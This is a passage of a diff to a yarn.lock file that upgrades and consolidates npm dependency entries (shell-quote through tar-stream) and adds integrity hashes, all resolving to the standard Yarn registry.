+  integrity sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==
   dependencies:
-    randombytes "^2.1.0"
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    functions-have-names "^1.2.3"
+    has-property-descriptors "^1.0.2"
 
 setprototypeof@1.2.0:
   version "1.2.0"
@@ -7762,40 +8500,52 @@ shebang-regex@^3.0.0:
   integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
 
 shell-quote@^1.7.3:
-  version "1.7.3"
-  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.7.3.tgz#aa40edac170445b9a431e17bb62c0b881b9c4123"
-  integrity sha512-Vpfqwm4EnqGdlsBFNmHhxhElJYrdfcxPThu+ryKS5J8L/fhAwLazFZtq+S+TWZ9ANj2piSQLGj6NQg+lKPmxrw==
+  version "1.8.1"
+  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.8.1.tgz#6dbf4db75515ad5bac63b4f1894c3a154c766680"
+  integrity sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==
 
 side-channel@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf"
-  integrity sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.6.tgz#abd25fb7cd24baf45466406b1096b7831c9215f2"
+  integrity sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==
   dependencies:
-    call-bind "^1.0.0"
-    get-intrinsic "^1.0.2"
-    object-inspect "^1.9.0"
-
-signal-exit@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.2.tgz#b5fdc08f1287ea1178628e415e25132b73646c6d"
+    call-bind "^1.0.7"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.4"
+    object-inspect "^1.13.1"
 
-signal-exit@^3.0.3:
+signal-exit@^3.0.2, signal-exit@^3.0.3:
   version "3.0.7"
   resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9"
   integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==
 
+signal-exit@^4.0.1:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-4.1.0.tgz#952188c1cbd546070e2dd20d0f41c0ae0530cb04"
+  integrity sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==
+
+simple-concat@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/simple-concat/-/simple-concat-1.0.1.tgz#f46976082ba35c2263f1c8ab5edfe26c41c9552f"
+  integrity sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==
+
+simple-get@^4.0.0:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/simple-get/-/simple-get-4.0.1.tgz#4a39db549287c979d352112fa03fd99fd6bc3543"
+  integrity sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==
+  dependencies:
+    decompress-response "^6.0.0"
+    once "^1.3.1"
+    simple-concat "^1.0.0"
+
 simple-update-notifier@^1.0.7:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/simple-update-notifier/-/simple-update-notifier-1.0.7.tgz#7edf75c5bdd04f88828d632f762b2bc32996a9cc"
-  integrity sha512-BBKgR84BJQJm6WjWFMHgLVuo61FBDSj1z/xSFUIozqO6wO7ii0JxCqlIud7Enr/+LhlbNI0whErq96P2qHNWew==
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/simple-update-notifier/-/simple-update-notifier-1.1.0.tgz#67694c121de354af592b347cdba798463ed49c82"
+  integrity sha512-VpsrsJSUcJEseSbMHkrsrAVSdvVS5I96Qo1QAQ4FxQ9wXFcB+pjj7FB7/us9+GcgfW4ziHtYMc1J0PLczb55mg==
   dependencies:
     semver "~7.0.0"
 
-sisteransi@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.3.tgz#98168d62b79e3a5e758e27ae63c4a053d748f4eb"
-
-sisteransi@^1.0.5:
+sisteransi@^1.0.3, sisteransi@^1.0.5:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
   integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==
@@ -7803,6 +8553,7 @@ sisteransi@^1.0.5:
 slash@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634"
+  integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==
 
 slash@^4.0.0:
   version "4.0.0"
@@ -7814,28 +8565,21 @@ source-list-map@^2.0.1:
   resolved "https://registry.yarnpkg.com/source-list-map/-/source-list-map-2.0.1.tgz#3993bd873bfc48479cca9ea3a547835c7c154b34"
   integrity sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==
 
-source-map-js@^1.0.1, source-map-js@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.0.2.tgz#adbc361d9c62df380125e7f161f71c826f1e490c"
-  integrity sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==
+source-map-js@^1.0.1, source-map-js@^1.0.2, source-map-js@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.2.0.tgz#16b809c162517b5b8c3e7dcd315a2a5c2612b2af"
+  integrity sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==
 
 source-map-loader@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/source-map-loader/-/source-map-loader-3.0.1.tgz#9ae5edc7c2d42570934be4c95d1ccc6352eba52d"
-  integrity sha512-Vp1UsfyPvgujKQzi4pyDiTOnE3E4H+yHvkVRN3c/9PJmQS4CQJExvcDvaX/D+RV+xQben9HJ56jMJS3CgUeWyA==
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/source-map-loader/-/source-map-loader-3.0.2.tgz#af23192f9b344daa729f6772933194cc5fa54fee"
+  integrity sha512-BokxPoLjyl3iOrgkWaakaxqnelAJSS+0V+De0kKIq6lyWrXuiPgYTGp6z3iHmqljKAaLXwZa+ctD8GccRJeVvg==
   dependencies:
     abab "^2.0.5"
     iconv-lite "^0.6.3"
     source-map-js "^1.0.1"
 
-source-map-support@^0.5.6:
-  version "0.5.9"
-  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.9.tgz#41bc953b2534267ea2d605bccfa7bfa3111ced5f"
-  dependencies:
-    buffer-from "^1.0.0"
-    source-map "^0.6.0"
-
-source-map-support@~0.5.20:
+source-map-support@^0.5.6, source-map-support@~0.5.20:
   version "0.5.21"
   resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.21.tgz#04fe7c7f9e1ed2d662233c28cb2b35b9f63f6e4f"
   integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==
@@ -7846,10 +8590,12 @@ source-map-support@~0.5.20:
 source-map@0.6.1, source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.0, source-map@~0.6.1:
   version "0.6.1"
   resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
+  integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
 
 source-map@^0.5.0:
   version "0.5.7"
   resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
+  integrity sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==
 
 source-map@^0.7.3:
   version "0.7.4"
@@ -7857,22 +8603,24 @@ source-map@^0.7.3:
   integrity sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==
 
 spawn-command@^0.0.2-1:
-  version "0.0.2-1"
-  resolved "https://registry.yarnpkg.com/spawn-command/-/spawn-command-0.0.2-1.tgz#62f5e9466981c1b796dc5929937e11c9c6921bd0"
-  integrity sha512-n98l9E2RMSJ9ON1AKisHzz7V42VDiBQGY6PB1BwRglz99wpVsSuGzQ+jOi6lFXBGVTCrRpltvjm+/XA+tpeJrg==
+  version "0.0.2"
+  resolved "https://registry.yarnpkg.com/spawn-command/-/spawn-command-0.0.2.tgz#9544e1a43ca045f8531aac1a48cb29bdae62338e"
+  integrity sha512-zC8zGoGkmc8J9ndvml8Xksr1Amk9qBujgbF0JAIWO7kXr43w0h/0GJNM/Vustixu+YE8N/MTrQ7N31FvHUACxQ==
 
 sprintf-js@~1.0.2:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
+  integrity sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==
 
 stable@^0.1.8:
   version "0.1.8"
   resolved "https://registry.yarnpkg.com/stable/-/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf"
+  integrity sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==
 
 stack-utils@^2.0.3:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/stack-utils/-/stack-utils-2.0.5.tgz#d25265fca995154659dbbfba3b49254778d2fdd5"
-  integrity sha512-xrQcmYhOsn/1kX+Vraq+7j4oE2j/6BFscZ0etmYg81xuM8Gq0022Pxb8+IqgOFUIaxHs0KaSb7T1+OegiNrNFA==
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/stack-utils/-/stack-utils-2.0.6.tgz#aaf0748169c02fc33c8232abccf933f54a1cc34f"
+  integrity sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==
   dependencies:
     escape-string-regexp "^2.0.0"
 
@@ -7892,9 +8640,9 @@ streamsearch@^1.1.0:
   integrity sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==
 
 string-length@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/string-length/-/string-length-4.0.1.tgz#4a973bf31ef77c4edbceadd6af2611996985f8a1"
-  integrity sha512-PKyXUd0LK0ePjSOnWn34V2uD6acUWev9uy0Ft05k0E8xRW+SKcA0F7eMr7h5xlzfn+4O3N+55rduYyet3Jk+jw==
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/string-length/-/string-length-4.0.2.tgz#a8a8dc7bd5c1a82b9b3c8b87e125f66871b6e57a"
+  integrity sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==
   dependencies:
     char-regex "^1.0.2"
     strip-ansi "^6.0.0"
@@ -7907,24 +8655,7 @@ string-length@^5.0.1:
     char-regex "^2.0.0"
     strip-ansi "^7.0.1"
 
-string-width@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.1.0.tgz#ba846d1daa97c3c596155308063e075ed1c99aff"
-  dependencies:
-    emoji-regex "^8.0.0"
-    is-fullwidth-code-point "^3.0.0"
-    strip-ansi "^5.2.0"
-
-string-width@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.0.tgz#952182c46cc7b2c313d1596e623992bd163b72b5"
-  integrity sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==
-  dependencies:
-    emoji-regex "^8.0.0"
-    is-fullwidth-code-point "^3.0.0"
-    strip-ansi "^6.0.0"
-
-string-width@^4.2.3:
+"string-width-cjs@npm:string-width@^4.2.0", string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
   version "4.2.3"
   resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
   integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
@@ -7933,34 +8664,69 @@ string-width@^4.2.3:
     is-fullwidth-code-point "^3.0.0"
     strip-ansi "^6.0.1"
 
+string-width@^5.0.1, string-width@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-5.1.2.tgz#14f8daec6d81e7221d2a357e668cab73bdbca794"
+  integrity sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==
+  dependencies:
+    eastasianwidth "^0.2.0"
+    emoji-regex "^9.2.2"
+    strip-ansi "^7.0.1"
+
+string.prototype.trim@^1.2.9:
+  version "1.2.9"
+  resolved "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.9.tgz#b6fa326d72d2c78b6df02f7759c73f8f6274faa4"
+  integrity sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.0"
+    es-object-atoms "^1.0.0"
+
+string.prototype.trimend@^1.0.3, string.prototype.trimend@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.8.tgz#3651b8513719e8a9f48de7f2f77640b26652b229"
+  integrity sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
 string.prototype.trimleft@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/string.prototype.trimleft/-/string.prototype.trimleft-2.1.0.tgz#6cc47f0d7eb8d62b0f3701611715a3954591d634"
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimleft/-/string.prototype.trimleft-2.1.3.tgz#dee305118117d0a1843c1fc0d38d5d0754d83c60"
+  integrity sha512-699Ibssmj/awVzvdNk4g83/Iu8U9vDohzmA/ly2BrQWGhamuY4Tlvs5XKmKliDt3ky6SKbE1bzPhASKCFlx9Sg==
   dependencies:
+    call-bind "^1.0.0"
     define-properties "^1.1.3"
-    function-bind "^1.1.1"
+    string.prototype.trimstart "^1.0.3"
 
 string.prototype.trimright@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/string.prototype.trimright/-/string.prototype.trimright-2.1.0.tgz#669d164be9df9b6f7559fa8e89945b168a5a6c58"
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimright/-/string.prototype.trimright-2.1.3.tgz#dc16a21d7456cbc8b2c54d47fe01f06d9efe94eb"
+  integrity sha512-hoOq56oRFnnfDuXNy2lGHiwT77MehHv9d0zGfRZ8QdC+4zjrkFB9vd5i/zYTd/ymFBd4YxtbdgHt3U6ksGeuBw==
   dependencies:
+    call-bind "^1.0.0"
     define-properties "^1.1.3"
-    function-bind "^1.1.1"
+    string.prototype.trimend "^1.0.3"
 
-strip-ansi@^5.2.0:
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-5.2.0.tgz#8c9a536feb6afc962bdfa5b104a5091c1ad9c0ae"
+string.prototype.trimstart@^1.0.3, string.prototype.trimstart@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz#7ee834dda8c7c17eff3118472bb35bfedaa34dde"
+  integrity sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==
   dependencies:
-    ansi-regex "^4.1.0"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
 
-strip-ansi@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.0.tgz#0b1571dd7669ccd4f3e06e14ef1eed26225ae532"
-  integrity sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==
+string_decoder@^1.1.1:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
+  integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
   dependencies:
-    ansi-regex "^5.0.0"
+    safe-buffer "~5.2.0"
 
-strip-ansi@^6.0.1:
+"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1:
   version "6.0.1"
   resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
   integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
@@ -7968,9 +8734,9 @@ strip-ansi@^6.0.1:
     ansi-regex "^5.0.1"
 
 strip-ansi@^7.0.1:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-7.0.1.tgz#61740a08ce36b61e50e65653f07060d000975fb2"
-  integrity sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-7.1.0.tgz#d5b6568ca689d8561370b0707685d22434faff45"
+  integrity sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==
   dependencies:
     ansi-regex "^6.0.1"
 
@@ -7996,22 +8762,41 @@ strip-json-comments@^3.1.1:
   resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
   integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
 
+strip-json-comments@~2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz#3c531942e908c2697c0ec344858c286c7ca0a60a"
+  integrity sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==
+
 style-loader@^3.3.1:
-  version "3.3.1"
-  resolved "https://registry.yarnpkg.com/style-loader/-/style-loader-3.3.1.tgz#057dfa6b3d4d7c7064462830f9113ed417d38575"
-  integrity sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==
+  version "3.3.4"
+  resolved "https://registry.yarnpkg.com/style-loader/-/style-loader-3.3.4.tgz#f30f786c36db03a45cbd55b6a70d930c479090e7"
+  integrity sha512-0WqXzrsMTyb8yjZJHDqwmnwRJvhALK9LfRtRc6B4UTWe8AijYLZYZ9thuJTZc2VfQWINADW/j+LiJnfy2RoC1w==
 
 stylehacks@^5.1.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/stylehacks/-/stylehacks-5.1.0.tgz#a40066490ca0caca04e96c6b02153ddc39913520"
-  integrity sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/stylehacks/-/stylehacks-5.1.1.tgz#7934a34eb59d7152149fa69d6e9e56f2fc34bcc9"
+  integrity sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==
   dependencies:
-    browserslist "^4.16.6"
+    browserslist "^4.21.4"
     postcss-selector-parser "^6.0.4"
 
+sucrase@^3.32.0:
+  version "3.35.0"
+  resolved "https://registry.yarnpkg.com/sucrase/-/sucrase-3.35.0.tgz#57f17a3d7e19b36d8995f06679d121be914ae263"
+  integrity sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.2"
+    commander "^4.0.0"
+    glob "^10.3.10"
+    lines-and-columns "^1.1.6"
+    mz "^2.7.0"
+    pirates "^4.0.1"
+    ts-interface-checker "^0.1.9"
+
 supports-color@^5.3.0, supports-color@^5.5.0:
   version "5.5.0"
   resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
+  integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
   dependencies:
     has-flag "^3.0.0"
 
@@ -8030,9 +8815,9 @@ supports-color@^8.0.0, supports-color@^8.1.0:
     has-flag "^4.0.0"
 
 supports-hyperlinks@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/supports-hyperlinks/-/supports-hyperlinks-2.1.0.tgz#f663df252af5f37c5d49bbd7eeefa9e0b9e59e47"
-  integrity sha512-zoE5/e+dnEijk6ASB6/qrK+oYdm2do1hjoLWrqUC/8WEIW1gbxFcKuBof7sW8ArN6e+AYvsE8HBGiVRWL/F5CA==
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz#3943544347c1ff90b15effb03fc14ae45ec10624"
+  integrity sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==
   dependencies:
     has-flag "^4.0.0"
     supports-color "^7.0.0"
@@ -8050,6 +8835,7 @@ svg-parser@^2.0.2:
 svgo@^1.2.2:
   version "1.3.2"
   resolved "https://registry.yarnpkg.com/svgo/-/svgo-1.3.2.tgz#b6dc511c063346c9e415b81e43401145b96d4167"
+  integrity sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==
   dependencies:
     chalk "^2.4.1"
     coa "^2.0.2"
@@ -8084,42 +8870,64 @@ symbol-tree@^3.2.4:
   integrity sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==
 
 tailwindcss@^3.0.2:
-  version "3.1.8"
-  resolved "https://registry.yarnpkg.com/tailwindcss/-/tailwindcss-3.1.8.tgz#4f8520550d67a835d32f2f4021580f9fddb7b741"
-  integrity sha512-YSneUCZSFDYMwk+TGq8qYFdCA3yfBRdBlS7txSq0LUmzyeqRe3a8fBQzbz9M3WS/iFT4BNf/nmw9mEzrnSaC0g==
+  version "3.4.10"
+  resolved "https://registry.yarnpkg.com/tailwindcss/-/tailwindcss-3.4.10.tgz#70442d9aeb78758d1f911af29af8255ecdb8ffef"
+  integrity sha512-KWZkVPm7yJRhdu4SRSl9d4AK2wM3a50UsvgHZO7xY77NQr2V+fIrEuoDGQcbvswWvFGbS2f6e+jC/6WJm1Dl0w==
   dependencies:
+    "@alloc/quick-lru" "^5.2.0"
     arg "^5.0.2"
     chokidar "^3.5.3"
-    color-name "^1.1.4"
-    detective "^5.2.1"
     didyoumean "^1.2.2"
     dlv "^1.1.3"
-    fast-glob "^3.2.11"
+    fast-glob "^3.3.0"
     glob-parent "^6.0.2"
     is-glob "^4.0.3"
-    lilconfig "^2.0.6"
+    jiti "^1.21.0"
+    lilconfig "^2.1.0"
+    micromatch "^4.0.5"
     normalize-path "^3.0.0"
     object-hash "^3.0.0"
     picocolors "^1.0.0"
-    postcss "^8.4.14"
-    postcss-import "^14.1.0"
-    postcss-js "^4.0.0"
-    postcss-load-config "^3.1.4"
-    postcss-nested "5.0.6"
-    postcss-selector-parser "^6.0.10"
-    postcss-value-parser "^4.2.0"
-    quick-lru "^5.1.1"
-    resolve "^1.22.1"
+    postcss "^8.4.23"
+    postcss-import "^15.1.0"
+    postcss-js "^4.0.1"
+    postcss-load-config "^4.0.1"
+    postcss-nested "^6.0.1"
+    postcss-selector-parser "^6.0.11"
+    resolve "^1.22.2"
+    sucrase "^3.32.0"
 
 tapable@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/tapable/-/tapable-1.1.0.tgz#0d076a172e3d9ba088fd2272b2668fb8d194b78c"
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/tapable/-/tapable-1.1.3.tgz#a1fccc06b58db61fd7a45da2da44f5f3a3e67ba2"
+  integrity sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==
 
 tapable@^2.0.0, tapable@^2.1.1, tapable@^2.2.0:
   version "2.2.1"
   resolved "https://registry.yarnpkg.com/tapable/-/tapable-2.2.1.tgz#1967a73ef4060a82f12ab96af86d52fdb76eeca0"
   integrity sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==
 
+tar-fs@^2.0.0:
+  version "2.1.2"
+  resolved "https://registry.yarnpkg.com/tar-fs/-/tar-fs-2.1.2.tgz#425f154f3404cb16cb8ff6e671d45ab2ed9596c5"
+  integrity sha512-EsaAXwxmx8UB7FRKqeozqEPop69DXcmYwTQwXvyAPF352HJsPdkVhvTaDPYqfNgruveJIJy3TA2l+2zj8LJIJA==
+  dependencies:
+    chownr "^1.1.1"
+    mkdirp-classic "^0.5.2"
+    pump "^3.0.0"
+    tar-stream "^2.1.4"
+
+tar-stream@^2.1.4:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/tar-stream/-/tar-stream-2.2.0.tgz#acad84c284136b060dc3faa64474aa9aebd77287"
